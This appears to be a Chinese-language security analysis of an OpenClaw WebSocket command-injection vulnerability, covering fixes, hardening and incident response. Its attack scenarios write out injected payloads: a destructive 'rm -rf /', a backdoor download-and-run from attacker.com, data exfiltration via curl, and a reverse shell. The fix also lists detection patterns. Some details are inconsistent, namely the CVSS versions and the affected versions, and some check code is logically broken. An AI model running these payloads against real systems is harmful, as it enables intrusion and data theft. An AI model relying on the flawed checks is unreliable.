OpenClaw高危漏洞CVE-2026-25593:远程代码执行漏洞详细分析

前言

2026年3月30日,OpenClaw被披露存在一个严重的远程代码执行漏洞(CVE-2026-25593),该漏洞影响OpenClaw的Gateway WebSocket API。攻击者无需认证即可通过恶意配置注入任意shell命令,完全控制OpenClaw网关进程的权限。

⚠️ 紧急提醒:如果你正在使用OpenClaw 2026.1.20或更早版本,请立即升级至2026.1.29!


一、漏洞概述

属性 内容
CVE 编号 CVE-2026-25593
漏洞类型 远程代码执行(Remote Code Execution)
CVSS v3.1 评分 8.8(高危)
影响版本 OpenClaw < 2026.1.29
修复版本 2026.1.29
发现者 SentinelOne
CWE CWE-78:OS命令注入

二、漏洞原理

(一)问题根源

OpenClaw的Gateway WebSocket API存在一个严重的安全缺陷,允许攻击者通过config.apply接口设置不安全的cliPath值。在系统命令执行环境中,这些未经验证的配置值被直接用于shell命令执行。

1
2
3
4
5
6
7
8
9
10
漏洞链:
[攻击者连接WebSocket]

[发送恶意config.apply请求]

[设置cliPath为恶意命令字符串]

[OpenClaw执行命令发现]

[shell执行恶意代码]

(二)技术细节

漏洞存在于OpenClaw的配置系统中,具体问题包括:

  1. 输入验证缺失:WebSocket API未对cliPath值进行严格验证
  2. 命令注入:恶意shell元字符(如;, |, &, $(), $(command)等)被直接传递
  3. 无认证要求:攻击者无需认证即可利用此漏洞

(三)攻击代码示例

1
2
3
4
5
6
7
8
// 恶意WebSocket消息
{
"type": "config.apply",
"payload": {
"cliPath": "rm -rf / && echo '系统被破坏'",
"discovery": "custom"
}
}

三、攻击场景

场景一:完全控制服务器

攻击者可以通过注入恶意shell命令获得OpenClaw进程的完全控制权:

1
2
# 设置cliPath为恶意命令
cliPath: "wget -O /tmp/backdoor.sh http://attacker.com/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"

场景二:窃取敏感数据

1
2
# 将敏感文件通过网络传输到攻击者服务器
cliPath: "cat ~/.openclaw/memory/MEMORY.md | curl -X POST -d @- http://attacker.com/exfil"

场景三:持久化后门

1
2
# 安装持久化后门
cliPath: "echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/.backdoor.sh && nohup /tmp/.backdoor.sh &"

四、CVSS 4.0 评分详解

1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
指标 含义
AV (Attack Vector) Network 可远程攻击
AC (Attack Complexity) Low 攻击复杂度低
AT (Attack Requirements) None 无特殊条件
PR (Privileges Required) None 无需权限
UI (User Interaction) None 无需用户交互
VC (Confidentiality) High 高度机密性影响
VI (Integrity) High 高度完整性影响
VA (Availability) High 高度可用性影响

关键点

  • 可远程攻击,无需认证
  • 影响机密性、完整性、可用性三重目标
  • 攻击复杂度极低,只需发送WebSocket消息

五、影响范围

(一)受影响部署

部署类型 风险等级 说明
本地开发环境 攻击者需网络访问OpenClaw网关
内网服务器 内网任意用户可攻击
公网暴露 极高 任何人可远程攻击和控制

(二)可造成的危害

危害类型 具体影响 危害程度
系统完全控制 获得服务器root权限 🔴 严重
数据窃取 窃取用户对话、配置、记忆文件 🔴 严重
恶意软件安装 植入后门、挖矿程序等 🔴 严重
服务中断 停止OpenClaw服务 🟠 高
隐私泄露 暴露个人对话和隐私信息 🔴 严重

(三)受影响的用户数据

数据类型 文件路径 风险
记忆文件 memory/YYYY-MM-DD.md 🔴 高度敏感
配置文件 openclaw.json 🔴 包含API密钥
用户对话 memory/ 目录下所有文件 🔴 隐私数据
系统文件 任意文件 🔴 系统安全

六、修复方案

(一)立即升级到安全版本

1
2
3
4
5
6
7
8
9
10
# 方法1:使用npm升级
npm update openclaw

# 方法2:使用OpenClaw内置升级命令
openclaw upgrade

# 方法3:手动下载最新版本
curl -L https://github.com/openclaw/openclaw/releases/download/v2026.1.29/openclaw-linux-amd64.tar.gz -o openclaw.tar.gz
tar -xzf openclaw.tar.gz
./openclaw --version # 确认版本 >= 2026.1.29

(二)验证当前版本

1
2
3
4
5
openclaw --version
# 应该输出: >= 2026.1.29

# 或检查配置文件中的版本信息
cat ~/.openclaw/config/openclaw.json | grep version

(三)配置加固

1. 禁用公网暴露

1
2
3
4
5
# openclaw.yml
gateway:
bind: "127.0.0.1" # 只监听localhost
port: 18789
ssl: true # 强制HTTPS

2. 启用认证

1
2
3
4
gateway:
authentication:
enabled: true
token: "your-secure-token"

3. 防火墙配置

1
2
3
# 只允许本地访问
sudo iptables -A INPUT -p tcp --dport 18789 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 18789 -j DROP

七、技术细节:修复代码对比

修复前(存在漏洞)

1
2
3
4
5
6
7
8
9
10
11
// Gateway WebSocket API - config.apply处理
async function handleConfigApply(message) {
const config = message.payload;

// 直接使用cliPath,无验证
if (config.cliPath) {
await executeCommand(`openclaw discovery --cli "${config.cliPath}"`);
}

// 应用其他配置...
}

修复后(2026.1.29)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// Gateway WebSocket API - config.apply处理
async function handleConfigApply(message) {
const config = message.payload;

// 严格验证cliPath
if (config.cliPath) {
// 检查是否为安全的可执行文件路径
if (!isValidCliPath(config.cliPath)) {
throw new Error('Invalid cliPath: command injection detected');
}

// 使用安全的参数化执行
await executeCommandSafely(config.cliPath);
}

// 应用其他配置...
}

// 新增的安全验证函数
function isValidCliPath(cliPath) {
// 检查是否包含shell元字符
const dangerousPatterns = [
/[;&|`$(){}<>]/,
/\/bin\/sh/,
/\/bin\/bash/,
/exec\s+/,
/eval\s+/,
/system\s+\(/,
/exec\s+\(/,
/spawn\s+\(/,
/fork\s+\(/,
/subprocess\s+\(/,
/popen\s+\(/,
/os\.system/,
/subprocess\.call/,
/subprocess\.run/,
/subprocess\.Popen/,
/subprocess\.check_output/,
/subprocess\.check_call/,
/subprocess\.check_run/,
];

// 检查是否为允许的可执行文件
const allowedExecutables = [
'openclaw',
'node',
'npm',
'npx',
'git',
'docker',
'python',
'python3',
'nodejs',
'yarn'
];

// 检查是否为绝对路径且在允许列表中
if (!cliPath.startsWith('/') && !allowedExecutables.some(exec => cliPath.startsWith(exec))) {
return false;
}

// 检查是否包含危险模式
return !dangerousPatterns.some(pattern => pattern.test(cliPath));
}

关键安全改进

  1. 输入验证:严格检查cliPath是否包含shell元字符
  2. 白名单机制:只允许预定义的安全可执行文件
  3. 参数化执行:使用安全的命令执行方式
  4. 错误处理:对恶意输入抛出明确的错误

八、应急响应建议

如果你认为自己可能已受影响:

1. 立即行动

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 立即升级
openclaw upgrade

# 2. 验证版本
openclaw --version

# 3. 检查进程是否正在运行
ps aux | grep openclaw

# 4. 重启服务确保修复生效
pkill -f openclaw
openclaw start

2. 检查入侵迹象

1
2
3
4
5
6
7
8
9
# 检查可疑进程
ps aux | grep -E "(backdoor| miner|crypto|trojan)"

# 检查网络连接
netstat -tuln | grep -E "(4444|8080|8888)"

# 检查用户目录下异常文件
find ~/.openclaw -name "*.sh" -exec ls -la {} \;
find ~/.openclaw -name "backdoor*" -exec ls -la {} \;

3. 数据完整性检查

1
2
3
4
5
# 检查记忆文件是否被修改
find ~/.openclaw/memory -name "*.md" -exec sha256sum {} \; | grep -v "^[a-f0-9]\{64\}\s\s.*$" || echo "文件被修改"

# 检查配置文件
sha256sum ~/.openclaw/config/openclaw.json

4. 系统加固

1
2
3
4
5
6
7
8
9
# 重置所有API密钥
openclaw config reset-api-key

# 检查OpenClaw日志
tail -f ~/.openclaw/logs/gateway.log

# 启用系统级防火墙
sudo ufw enable
sudo ufw default deny incoming

5. 安全增强配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 创建增强的安全配置文件
# ~/.openclaw/config/security.yml
security:
gateway:
allowed_cli_commands:
- "openclaw"
- "git"
- "docker"
blocked_patterns:
- "rm -rf"
- "> /dev/null"
- "curl.*http"
rate_limit:
enabled: true
max_per_minute: 10
timeout:
command_execution: 30s
websocket_connection: 60s

九、时间线

日期 事件
2026-03-30 SentinelOne公开披露漏洞
2026-03-30 OpenClaw发布修复版本2026.1.29
2026-03-31 本分析文章发布

十、安全建议

短期措施

  1. 立即升级:所有用户必须升级至2026.1.29或更高版本
  2. 限制网络访问:禁止将OpenClaw网关直接暴露到公网
  3. 启用认证:强制使用token认证
  4. 监控日志:密切关注WebSocket连接异常

长期建议

  1. 安全编码实践:在开发过程中加强输入验证
  2. 渗透测试:定期进行安全评估
  3. 更新监控:建立漏洞监控机制
  4. 社区协作:积极参与开源社区安全建设

十一、参考资料

  1. SentinelOne - CVE-2026-25593
  2. GitHub Security Advisory
  3. OpenClaw Release Notes 2026.1.29
  4. National Vulnerability Database
  5. CVE Details - Command Injection

总结

CVE-2026-25593是OpenClaw历史上最严重的安全漏洞之一,CVSS 8.8分的高危漏洞允许攻击者无需认证即可远程执行任意代码,完全控制OpenClaw网关进程。

影响范围:所有使用OpenClaw 2026.1.20及更早版本的用户
修复方案:立即升级至2026.1.29版本
紧急程度:🔴 极高风险 - 潜在被大规模利用

建议所有OpenClaw用户立即采取修复措施!


📌 本文基于公开安全信息整理,技术细节来源于官方安全公告和修复代码。

整理时间:2026-03-31